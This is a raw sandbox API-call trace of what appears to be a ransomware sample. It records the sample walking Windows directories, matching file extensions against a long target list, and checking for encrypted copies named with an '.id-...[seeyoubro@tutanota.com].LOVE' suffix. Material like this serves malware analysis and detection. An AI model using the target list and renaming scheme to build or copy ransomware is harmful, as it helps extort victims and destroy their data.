lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.612] lstrlenW (lpString=".xlsx") returned 5 [0221.612] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0221.612] lstrlenW (lpString=".ppt") returned 4 [0221.612] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.612] lstrlenW (lpString=".zip") returned 4 [0221.612] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.613] lstrlenW (lpString=".rar") returned 4 [0221.613] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.613] lstrlenW (lpString=".bz2") returned 4 [0221.613] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.613] lstrlenW (lpString=".7z") returned 3 [0221.613] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.613] lstrlenW (lpString=".dbf") returned 4 [0221.613] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.613] lstrlenW (lpString=".1cd") returned 4 [0221.613] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.613] lstrlenW (lpString=".jpg") returned 4 [0221.613] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.613] lstrlenW (lpString=".doc") returned 4 [0221.613] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.613] lstrlenW (lpString=".docx") returned 5 [0221.613] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0221.613] lstrlenW (lpString=".pdf") returned 4 [0221.613] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.613] lstrlenW (lpString=".xls") returned 4 [0221.613] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.613] lstrlenW (lpString=".xlsx") returned 5 [0221.613] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0221.613] lstrlenW (lpString=".ppt") returned 4 [0221.613] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.614] lstrlenW (lpString=".zip") returned 4 [0221.614] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.614] lstrlenW (lpString=".rar") returned 4 [0221.614] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.614] lstrlenW (lpString=".bz2") returned 4 [0221.614] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.614] lstrlenW (lpString=".7z") returned 3 [0221.614] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.614] lstrlenW (lpString=".dbf") returned 4 [0221.614] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.614] lstrlenW (lpString=".1cd") returned 4 [0221.614] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0221.614] lstrlenW (lpString=".jpg") returned 4 [0221.614] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.614] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0221.614] lstrlenW (lpString="oledb32r.dll") returned 12 [0221.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0221.636] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=77824) returned 1 [0221.636] CloseHandle (hObject=0x2c4) returned 1 [0221.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0221.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0221.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.640] lstrlenW (lpString=".doc") returned 4 [0221.640] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.640] lstrlenW (lpString=".docx") returned 5 [0221.640] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0221.640] lstrlenW (lpString=".pdf") returned 4 [0221.640] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.640] lstrlenW (lpString=".xls") returned 4 [0221.640] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.640] lstrlenW (lpString=".xlsx") returned 5 [0221.640] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0221.640] lstrlenW (lpString=".ppt") returned 4 [0221.640] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.640] lstrlenW (lpString=".zip") returned 4 [0221.640] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.640] lstrlenW (lpString=".rar") returned 4 [0221.640] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.640] lstrlenW (lpString=".bz2") returned 4 [0221.640] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.640] lstrlenW (lpString=".7z") returned 3 [0221.640] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.640] lstrlenW (lpString=".dbf") returned 4 [0221.640] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.640] lstrlenW (lpString=".1cd") returned 4 [0221.640] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.641] lstrlenW (lpString=".jpg") returned 4 [0221.641] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.641] lstrlenW (lpString=".doc") returned 4 [0221.641] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.641] lstrlenW (lpString=".docx") returned 5 [0221.641] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0221.641] lstrlenW (lpString=".pdf") returned 4 [0221.641] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.641] lstrlenW (lpString=".xls") returned 4 [0221.641] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.641] lstrlenW (lpString=".xlsx") returned 5 [0221.641] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0221.641] lstrlenW (lpString=".ppt") returned 4 [0221.641] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.641] lstrlenW (lpString=".zip") returned 4 [0221.641] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.641] lstrlenW (lpString=".rar") returned 4 [0221.641] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.641] lstrlenW (lpString=".bz2") returned 4 [0221.641] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.641] lstrlenW (lpString=".7z") returned 3 [0221.641] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.641] lstrlenW (lpString=".dbf") returned 4 [0221.641] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.641] lstrlenW (lpString=".1cd") returned 4 [0221.642] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0221.642] lstrlenW (lpString=".jpg") returned 4 [0221.642] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.642] lstrcmpiW (lpString1=".rll", lpString2=".LOVE") returned 1 [0221.642] lstrlenW (lpString="sqloledb.rll") returned 12 [0221.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0222.535] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=4608) returned 1 [0222.535] CloseHandle (hObject=0x2d8) returned 1 [0222.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0222.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0222.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.945] lstrlenW (lpString=".doc") returned 4 [0222.945] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0222.945] lstrlenW (lpString=".docx") returned 5 [0222.945] lstrcmpiW (lpString1=".docx", lpString2="b.rll") returned -1 [0222.945] lstrlenW (lpString=".pdf") returned 4 [0222.945] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0222.945] lstrlenW (lpString=".xls") returned 4 [0222.945] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0222.945] lstrlenW (lpString=".xlsx") returned 5 [0222.945] lstrcmpiW (lpString1=".xlsx", lpString2="b.rll") returned -1 [0222.945] lstrlenW (lpString=".ppt") returned 4 [0222.945] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0222.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.945] lstrlenW (lpString=".zip") returned 4 [0222.946] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0222.946] lstrlenW (lpString=".rar") returned 4 [0222.946] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0222.946] lstrlenW (lpString=".bz2") returned 4 [0222.946] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0222.946] lstrlenW (lpString=".7z") returned 3 [0222.946] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0222.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.946] lstrlenW (lpString=".dbf") returned 4 [0222.946] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0222.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.946] lstrlenW (lpString=".1cd") returned 4 [0222.946] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0222.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.946] lstrlenW (lpString=".jpg") returned 4 [0222.946] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0222.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.951] lstrlenW (lpString=".doc") returned 4 [0222.951] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0222.951] lstrlenW (lpString=".docx") returned 5 [0222.951] lstrcmpiW (lpString1=".docx", lpString2="b.rll") returned -1 [0222.951] lstrlenW (lpString=".pdf") returned 4 [0222.951] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0222.951] lstrlenW (lpString=".xls") returned 4 [0222.951] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0222.951] lstrlenW (lpString=".xlsx") returned 5 [0222.951] lstrcmpiW (lpString1=".xlsx", lpString2="b.rll") returned -1 [0222.951] lstrlenW (lpString=".ppt") returned 4 [0222.951] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0222.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.952] lstrlenW (lpString=".zip") returned 4 [0222.952] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0222.952] lstrlenW (lpString=".rar") returned 4 [0222.952] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0222.952] lstrlenW (lpString=".bz2") returned 4 [0222.952] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0222.952] lstrlenW (lpString=".7z") returned 3 [0222.952] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0222.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.952] lstrlenW (lpString=".dbf") returned 4 [0222.952] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0222.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.952] lstrlenW (lpString=".1cd") returned 4 [0222.952] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0222.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 56 [0222.952] lstrlenW (lpString=".jpg") returned 4 [0222.953] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0222.953] lstrcmpiW (lpString1=".mui", lpString2=".LOVE") returned 1 [0222.953] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0222.953] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 22 os_tid = 0xc14 [0194.586] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3cf0978 [0194.586] lstrlenW (lpString="C:") returned 2 [0194.586] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x391fcf8 | out: lpFindFileData=0x391fcf8) returned 0x7a1bb0 [0194.594] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0194.594] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0194.594] lstrlenW (lpString="$GetCurrent") returned 11 [0194.594] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0194.594] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.594] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0194.594] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 0x7a1c70 [0194.595] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.595] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.595] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0194.595] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0194.595] lstrlenW (lpString="Logs") returned 4 [0194.595] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0194.595] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.596] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0194.596] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1870 [0194.633] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.633] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.633] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0194.633] lstrlenW (lpString=".1cd") returned 4 [0194.633] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0194.633] lstrlenW (lpString=".3ds") returned 4 [0194.633] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0194.633] lstrlenW (lpString=".3fr") returned 4 [0194.633] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0194.633] lstrlenW (lpString=".3g2") returned 4 [0194.633] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0194.633] lstrlenW (lpString=".3gp") returned 4 [0194.633] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0194.633] lstrlenW (lpString=".7z") returned 3 [0194.633] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0194.633] lstrlenW (lpString=".accda") returned 6 [0194.633] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0194.633] lstrlenW (lpString=".accdb") returned 6 [0194.633] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0194.633] lstrlenW (lpString=".accdc") returned 6 [0194.633] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0194.633] lstrlenW (lpString=".accde") returned 6 [0194.633] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0194.633] lstrlenW (lpString=".accdt") returned 6 [0194.633] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0194.633] lstrlenW (lpString=".accdw") returned 6 [0194.634] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0194.634] lstrlenW (lpString=".adb") returned 4 [0194.634] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".adp") returned 4 [0194.634] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".ai") returned 3 [0194.634] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0194.634] lstrlenW (lpString=".ai3") returned 4 [0194.634] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".ai4") returned 4 [0194.634] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".ai5") returned 4 [0194.634] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".ai6") returned 4 [0194.634] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".ai7") returned 4 [0194.634] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".ai8") returned 4 [0194.634] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".anim") returned 5 [0194.634] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0194.634] lstrlenW (lpString=".arw") returned 4 [0194.634] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".as") returned 3 [0194.634] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0194.634] lstrlenW (lpString=".asa") returned 4 [0194.634] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".asc") returned 4 [0194.634] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0194.634] lstrlenW (lpString=".ascx") returned 5 [0194.634] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0194.634] lstrlenW (lpString=".asm") returned 4 [0194.635] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".asmx") returned 5 [0194.635] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0194.635] lstrlenW (lpString=".asp") returned 4 [0194.635] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".aspx") returned 5 [0194.635] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0194.635] lstrlenW (lpString=".asr") returned 4 [0194.635] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".asx") returned 4 [0194.635] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".avi") returned 4 [0194.635] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".avs") returned 4 [0194.635] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".backup") returned 7 [0194.635] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0194.635] lstrlenW (lpString=".bak") returned 4 [0194.635] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".bay") returned 4 [0194.635] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".bd") returned 3 [0194.635] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0194.635] lstrlenW (lpString=".bin") returned 4 [0194.635] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".bmp") returned 4 [0194.635] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".bz2") returned 4 [0194.635] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0194.635] lstrlenW (lpString=".c") returned 2 [0194.635] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0194.635] lstrlenW (lpString=".cdr") returned 4 [0194.635] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".cer") returned 4 [0194.636] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".cf") returned 3 [0194.636] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0194.636] lstrlenW (lpString=".cfc") returned 4 [0194.636] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".cfm") returned 4 [0194.636] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".cfml") returned 5 [0194.636] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0194.636] lstrlenW (lpString=".cfu") returned 4 [0194.636] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".chm") returned 4 [0194.636] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".cin") returned 4 [0194.636] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".class") returned 6 [0194.636] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0194.636] lstrlenW (lpString=".clx") returned 4 [0194.636] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".config") returned 7 [0194.636] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0194.636] lstrlenW (lpString=".cpp") returned 4 [0194.636] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".cr2") returned 4 [0194.636] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0194.636] lstrlenW (lpString=".crt") returned 4 [0194.637] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".crw") returned 4 [0194.637] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".cs") returned 3 [0194.637] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0194.637] lstrlenW (lpString=".css") returned 4 [0194.637] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".csv") returned 4 [0194.637] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".cub") returned 4 [0194.637] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".dae") returned 4 [0194.637] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".dat") returned 4 [0194.637] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".db") returned 3 [0194.637] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0194.637] lstrlenW (lpString=".dbf") returned 4 [0194.637] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".dbx") returned 4 [0194.637] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".dc3") returned 4 [0194.637] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".dcm") returned 4 [0194.637] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".dcr") returned 4 [0194.637] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0194.637] lstrlenW (lpString=".der") returned 4 [0194.638] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0194.638] lstrlenW (lpString=".dib") returned 4 [0194.638] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0194.638] lstrlenW (lpString=".dic") returned 4 [0194.638] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0194.638] lstrlenW (lpString=".dif") returned 4 [0194.638] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0194.638] lstrlenW (lpString=".divx") returned 5 [0194.638] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0194.638] lstrlenW (lpString=".djvu") returned 5 [0194.638] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0194.638] lstrlenW (lpString=".dng") returned 4 [0194.638] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0194.638] lstrlenW (lpString=".doc") returned 4 [0194.638] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0194.638] lstrlenW (lpString=".docm") returned 5 [0194.638] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0194.638] lstrlenW (lpString=".docx") returned 5 [0194.638] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0194.638] lstrlenW (lpString=".dot") returned 4 [0194.638] 